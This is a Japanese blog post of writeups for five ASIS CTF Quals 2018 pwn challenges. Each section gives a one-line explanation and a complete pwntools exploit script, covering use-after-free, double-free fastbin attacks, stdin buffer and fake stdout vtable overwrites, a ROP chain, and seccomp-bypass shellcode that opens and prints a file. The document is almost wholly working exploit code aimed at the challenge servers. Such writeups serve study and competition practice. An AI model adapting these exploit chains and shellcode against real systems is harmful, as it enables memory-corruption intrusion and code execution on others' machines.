ブログ未満のなにか

ブログなのか誰にも分からない

ASIS CTF Quals 2018 writeup

Cat

editで更新をしないとUAFが起きるので適当にやった

#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
# context(terminal=['tmux', 'new-window'])  # open new window

# libc = ELF('')
elf = ELF('./Cat')
context(os='linux', arch=elf.arch)
context(log_level='debug')  # output verbose log

RHOST = "178.62.40.102"
RPORT = 6000
LHOST = "127.0.0.1"
LPORT = 6000

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

def dbg(ss):
    log.info("%s: 0x%x" % (ss, eval(ss)))

conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?'  # pop option
if opt in 'rl':
    conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
    gdbscript = """

    continue
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug(['./Cat'], gdbscript=gdbscript)
else:
    conn = process(['./Cat'])
    # conn = process(['./Cat'], env={'LD_PRELOAD': ''})
    if opt == 'a': gdb.attach(conn)

def create(name, kind, age):
    conn.sendlineafter('which command?', '1')
    conn.sendafter('name?', name)
    conn.sendafter('kind?', kind)
    conn.sendlineafter('old?', str(age))

def edit(idx, name, kind, age, flag):
    conn.sendlineafter('which command?', '2')
    conn.sendlineafter('id?', str(idx))
    conn.sendafter('name?', name)
    conn.sendafter('kind?', kind)
    conn.sendlineafter('old?', age)
    conn.recvuntil('/n> ')
    if flag:
        conn.sendline('y')
    else:
        conn.sendline('n')
def delete(idx):
    conn.sendlineafter('> ', '5')
    conn.sendlineafter('> ', str(idx))


# exploit
log.info('Pwning')

create('a'*8, 'b'*8, 20)
edit(0, 'x'*8, 'y'*8, '20', False)
create('e'*8, p64(0x602000), 20)
edit(0, 'w'*8, p64(0x602068), '20', True)
conn.recvuntil('which command?')
conn.sendline('4')
conn.recvuntil('name: ')
conn.recvuntil('name: ')
libc_base = u64(conn.recv(6) + '\x00\x00') - 0x36e80
dbg("libc_base")

create('a'*8, 'b'*8, 20)
create('s'*0x10, 'v'*0x10, 20) # 3
edit(3, 'x'*0x10, p64(0x602068) * 2, '20', False)
create('x'*10, p64(0x602068)*2, 100)
edit(3, 'hogehoge', p64(libc_base + 0x45390), '/bin/sh\x00', False)

conn.interactive()

FCascasde

適当にstdinの_IO_buf_baseへnull byteを書き込んで制御をとった。

#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
# context(terminal=['tmux', 'new-window'])  # open new window

# libc = ELF('')
elf = ELF('./fstream')
context(os='linux', arch=elf.arch)
context(log_level='debug')  # output verbose log

RHOST = "178.62.40.102"
RPORT = 6002
LHOST = "127.0.0.1"
LPORT = 6002

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

def dbg(ss):
    log.info("%s: 0x%x" % (ss, eval(ss)))

conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?'  # pop option
if opt in 'rl':
    conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
    gdbscript = """
    b *0x400A91
    continue
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug(['./fstream'], gdbscript=gdbscript)
else:
    conn = process(['./fstream'])
    # conn = process(['./fstream'], env={'LD_PRELOAD': ''})
    if opt == 'a': gdb.attach(conn)

# exploit
log.info('Pwning')

conn.recvuntil('>')
conn.sendline('11010110\x00')
conn.recvuntil('>')
conn.send('0'*0x98)
conn.recvuntil('0'*0x98)
libc_base = u64(conn.recv(6)+'\x00'*2) - 0x20830
dbg('libc_base')
conn.recvuntil('>')
conn.send('0'*0x30 + p64(libc_base + 0x4526a) + p64(0)* 0x10)

conn.recvuntil('>')
conn.sendline('1'*0x8)
conn.recvuntil('>')
conn.sendline('10110101')
conn.recvuntil('>')
conn.sendline(str(libc_base + 0x3c4918 + 1))
conn.recvuntil('>')
payload = p64(0xdeadbeef) * 3
payload += p64(libc_base + 0x3c4b10)  + p64(libc_base + 0x3c4b10 + 0x10) + p64(0)
conn.sendline(payload)
conn.sendline('x'*0x10 + p64(libc_base + 0x00036cfc ))

conn.interactive()

Fifty Dollars

0x60のchunkしかmallocできないが、double freeがあるので適当にやった。

#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
# context(terminal=['tmux', 'new-window'])  # open new window

# libc = ELF('')
elf = ELF('./fifty_dollars')
context(os='linux', arch=elf.arch)
#context(log_level='debug')  # output verbose log

RHOST = "178.62.40.102"
RPORT = 6001
LHOST = "127.0.0.1"
LPORT = 6001

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

def dbg(ss):
    log.info("%s: 0x%x" % (ss, eval(ss)))

conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?'  # pop option
if opt in 'rl':
    conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
    gdbscript = """

    continue
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug(['./fifty_dollars'], gdbscript=gdbscript)
else:
    conn = process(['./fifty_dollars'])
    # conn = process(['./fifty_dollars'], env={'LD_PRELOAD': ''})
    if opt == 'a': gdb.attach(conn)

def alloc(idx, tmp):
    conn.sendlineafter('Your choice:', '1')
    conn.sendlineafter('Index:', str(idx))
    conn.sendafter('Content:', tmp)

def show(idx):
    conn.sendlineafter('Your choice:', '2')
    conn.sendlineafter('Index:', str(idx))

def delete(idx):
    conn.sendlineafter('Your choice:', '3')
    conn.sendlineafter('Index:', str(idx))

# exploit
log.info('Pwning')

alloc(0, 'hoge'*0x8)
alloc(1, 'hoge'*0x8)
delete(1)
delete(0)
show(0)
buf = conn.recvuntil('Done!')[:6]
heap_base = u64(buf+'\x00'*2) - 0x60
dbg("heap_base")
alloc(0, 'x'*0x20)
alloc(1, 'y'*0x40+p64(0)+p64(0x61))
alloc(2, 'z'*0x20)
alloc(3, 'w'*0x20)
alloc(4, 'u'*0x20)
delete(0)
delete(1)
delete(0)
alloc(0, p64(heap_base+0xb0) + 'hogehoge')
alloc(1, 'hoge')
alloc(1, 'hoge')
payload = p64(0) + p64(0xc1)
alloc(1, payload)
delete(2)
show(2)
buf = conn.recvuntil('Done!')[:6]
libc_base = u64(buf+'\x00'*2) - 0x3c4b78
dbg("libc_base")
alloc(1, 'hoge'*11 + 'x'*8)
alloc(1, 'hoge'*10)
alloc(0, 'x'*0x20)
alloc(1, 'y'*0x40+p64(0)+p64(0x61))
alloc(2, 'z'*0x40+p64(0)+p64(0x61))
payload = p64(0) + p64(0xc1)
alloc(1, payload)
alloc(3, p64(0xdeadbeef)*2)
alloc(4, 'u'*0x30 + p64(0) + p64(0x31))
aa = 59
for i in range(aa - 13):
    print i
    alloc(8, 'a')
for i in range(13 - 4):
    print i
    alloc(8, 'b')
payload = 'x'*0x20
payload += p64(0) + p64(0x31)
alloc(8, payload)
for _ in range(3):
    alloc(8, 'c')
payload = 'x'*0x10
payload += p64(0) + p64(0x31)
alloc(8, payload)
delete(0)
delete(1)
delete(0)
alloc(0, p64(heap_base+0x290) + 'hogehoge')
alloc(1, 'hoge'*12 + p64(libc_base + 0x3c49c0))
alloc(1, 'hoge'*10)
payload = p64(0) + p64(0xc1) + p64(libc_base + 0x4526a) * 8
alloc(1, payload)
delete(2)
delete(1)
payload = p64(0) + p64(0x61) + p64(libc_base + 0x3c4b78) + p64(libc_base + 0x3c67f8 - 0x10 )
alloc(7, payload)
payload = p64(libc_base + 0x3c4b78) * 2
alloc(7, payload)
delete(1)
payload = p64(0) + p64(0x181) +  p64(libc_base + 0x3c4b78)  * 2
alloc(7, payload)
delete(2)
delete(1)
payload = p64(0) + p64(0x61)
payload += p64(libc_base + 0x3c4b78) + p64(libc_base + 0x3c5520 - 0x10)
alloc(9, payload)
delete(1)
payload = p64(0) + p64(0x17c1) + p64(0) * 2 
alloc(7, payload)
delete(2)
delete(1)
payload = p64(0) + p64(0x17c1 - 0x10*23) + p64(0) * 2   
alloc(7, payload)
delete(2)
delete(1)
payload = p64(0) * 3 + p64(libc_base + 0xf1147)
alloc(1, payload)

conn.interactive()

My Blog

seccompでsandboxになっているが、openはopenatで簡単に回避できるので、stagerを流して本体のshellcodeを実行させた。

#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
# context(terminal=['tmux', 'new-window'])  # open new window

# libc = ELF('')
elf = ELF('./myblog')
context(os='linux', arch=elf.arch)
context(log_level='debug')  # output verbose log

RHOST = "159.65.125.233"
RPORT = 31337
LHOST = "127.0.0.1"
LPORT = 31337

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

def dbg(ss):
    log.info("%s: 0x%x" % (ss, eval(ss)))

conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?'  # pop option
if opt in 'rl':
    conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
    gdbscript = """

    continue
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug(['./myblog'], gdbscript=gdbscript)
else:
    conn = process(['./myblog'])
    # conn = process(['./myblog'], env={'LD_PRELOAD': ''})
    if opt == 'a': gdb.attach(conn)

def write(con, aut):
    conn.sendlineafter('4. Exit\n', '1')
    conn.recvuntil('content')
    conn.sendline(con)
    conn.recvuntil('author')
    conn.sendline(aut)

def delete(idx):
    conn.sendlineafter('4. Exit\n', '2')
    conn.sendlineafter('index', str(idx))

def show(name):
    conn.sendlineafter('4. Exit\n', '3')

    conn.send(name)

def bof(pay):
    conn.sendlineafter('4. Exit\n', '31337')
    conn.recvuntil('gift 0x')
    addr = int(conn.recv(12), 16) - 0x0
    conn.send(pay)
    return addr

# exploit
log.info('Pwning')

bin_base = bof('abcd') - 0xef4
dbg('bin_base')
for i in range(0x31):
    write('hoge', 'fuga')
show(p64(bin_base + 0x202040)[:7])
delete(-1)
for i in range(0x31):
    delete(i)
write('x'*0x2e, 'y'*4)

conn.sendline('3')
conn.recvuntil('Old Owner : ')
heap_base = u64(conn.recv(6)+'\x00'*2) - 0x970
dbg("heap_base")
conn.sendline('hoge')

# 0x0000116b: pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
pop_rbp_r12_r13_r14_r15 = bin_base + 0x0000116b
pop_rdi = bin_base + 0x00001173
pop_rbp = bin_base + 0x00000990
pop_rsi_r15 = bin_base + 0x00001171
# : pop rsi ; pop r15 ; ret  ;  (1 found)
leave_ret = bin_base + 0x10fa
heap = heap_base + 0x1ef0 + 0x38


rop = p64(pop_rdi) + p64(0x0)
rop += p64(pop_rbp) + p64(bin_base +0x202040)
rop += p64(leave_ret)

write(rop[:0x2e], 'y'*0x6)
write('x'*0x2e, 'y'*0x6)
write('x'*0x2e, 'y'*0x6)


#write('x'*0x20, 'y'*4)
shellcode = '''
hoge: syscall;
push rcx;
pop rsi;
pop rax;
jmp hoge;
'''
show(asm(shellcode))
raw_input('exec shellcode')
bof(p64(heap)*2+p64(bin_base + 0x000010fa))

shellcode = '''
push 0x30
pop rax
xor al, 0x30
push rax
mov rax, 7449354444781596526
push rax
mov rax, 8606431000579237935
push rax

mov rdi, -100
mov rsi, rsp
xor rdx, rdx
xor r10, r10
mov rax, 257
syscall

mov rdi, rax
lea rsi, [rsp+0x100]
mov rdx, 0x100
xor rax, rax
syscall

mov rdi, 0x1
lea rsi, [rsp+0x100]
mov rdx, 0x100
mov rax, 1
syscall
'''
conn.sendline('\x90'*0x30 + asm(shellcode))

conn.interactive()

Message Me!

リモートと手元の環境ではtimezoneが違うせいか、ctimeによってheapの状況が変わり元々のexploitは刺さらなかった。固定アドレスとなっているbss上に必要なものを配置した。

#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
# context(terminal=['tmux', 'new-window'])  # open new window

# libc = ELF('')
elf = ELF('./message_me')
context(os='linux', arch=elf.arch)
# context(log_level='debug')  # output verbose log

RHOST = "159.65.125.233"
RPORT = 6003
LHOST = "127.0.0.1"
LPORT = 6003

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

def dbg(ss):
    log.info("%s: 0x%x" % (ss, eval(ss)))

conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?'  # pop option
if opt in 'rl':
    conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
    gdbscript = """

    continue
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug(['./message_me'], gdbscript=gdbscript)
else:
    conn = process(['./message_me'])
    # conn = process(['./message_me'], env={'LD_PRELOAD': ''})
    if opt == 'a': gdb.attach(conn)

def add(size, mess):
    conn.sendlineafter('choice : ', '0')
    conn.sendlineafter('size : ', str(size))
    conn.sendafter('meesage', mess)

def remove(idx):
    conn.sendlineafter('choice : ', '1')
    conn.sendlineafter('Give me index of the message : ', str(idx))
    conn.recvuntil('Done')

def show(idx):
    conn.sendlineafter('choice : ', '2')
    conn.sendlineafter('Give me index of the message : ', str(idx))

def change_time_stamp(idx):
    conn.sendlineafter('choice : ', '3')
    conn.sendlineafter('Give me index', str(idx))
    conn.recvuntil('Done')

# exploit
log.info('Pwning')

add(0xf00, 'hoge'*10)
add(0x100, 'hoge'*10)
remove(0)
add(0x80, 'x')
show(2)
conn.recvuntil('Message : ')
libc_base = u64(conn.recv(6)+'\x00\x00') - 0x3c5178
dbg('libc_base')
stdout = libc_base + 0x3c5620
stdin = libc_base + 0x3c48e0

add(0x60, p64(0x71) + p64(0x602075))   # 3
add(0x60, 'hoge')   # 4
remove(3)
remove(4)
change_time_stamp(4)
change_time_stamp(4)
change_time_stamp(4)
add(0x60, 'hoge')
add(0x60, 'hoge')
payload = 'x'*0xb + 'y'*8
payload += p64(libc_base + 0x3c5620) * 2+p64(libc_base + 0x3c48e0)  + p64(0x181)
payload += p64(0x6020c0) + p64(0x602230+8)+ p64(0x602230+0x28)
print hex(len(payload))
add(0x60, payload)

change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(2)
change_time_stamp(2)
change_time_stamp(2)
change_time_stamp(2)
remove(0)
fake_stdout = p64(0x0)
fake_stdout += p64(0xfbad2887) + p64(0)*2+p64(libc_base + 0x3c56a3) * 5 + p64(libc_base +0x3c56a4)
fake_stdout += p64(0)*4 + p64(libc_base+0x3c48e0)
fake_stdout += p64(1) + p64(0xffffffffffffffff)
fake_stdout += p64(0) + p64(libc_base+0x3c6780)
fake_stdout += p64(0xffffffffffffffff) + p64(0)
fake_stdout += p64(libc_base+0x3c47a0) + p64(0)*3
fake_stdout += p64(0xffffffff) + p64(0)*2
fake_stdout += p64(0x6021b0)
vtable = 'a'*0x18 + p64(libc_base + 0x4526a) + 'c'*0x18 + p64(libc_base + 0x791e0) + 'b'*0x30
add(0x170, fake_stdout+vtable)

add(0x60, p64(0x71)+p64(0x602075))
add(0x60, 'fugafugafugafuga')
remove(3)
remove(4)
change_time_stamp(4)
change_time_stamp(4)
change_time_stamp(4)
change_time_stamp(4)
change_time_stamp(3)
change_time_stamp(3)
change_time_stamp(3)
change_time_stamp(3)
change_time_stamp(3)
change_time_stamp(4)
add(0x60, 'fugafugafugafuga')
add(0x60, 'fugafugafugafuga')
add(0x60, 'x'*0xb + 'y'*8 + p64(0x6020d0))

conn.interactive()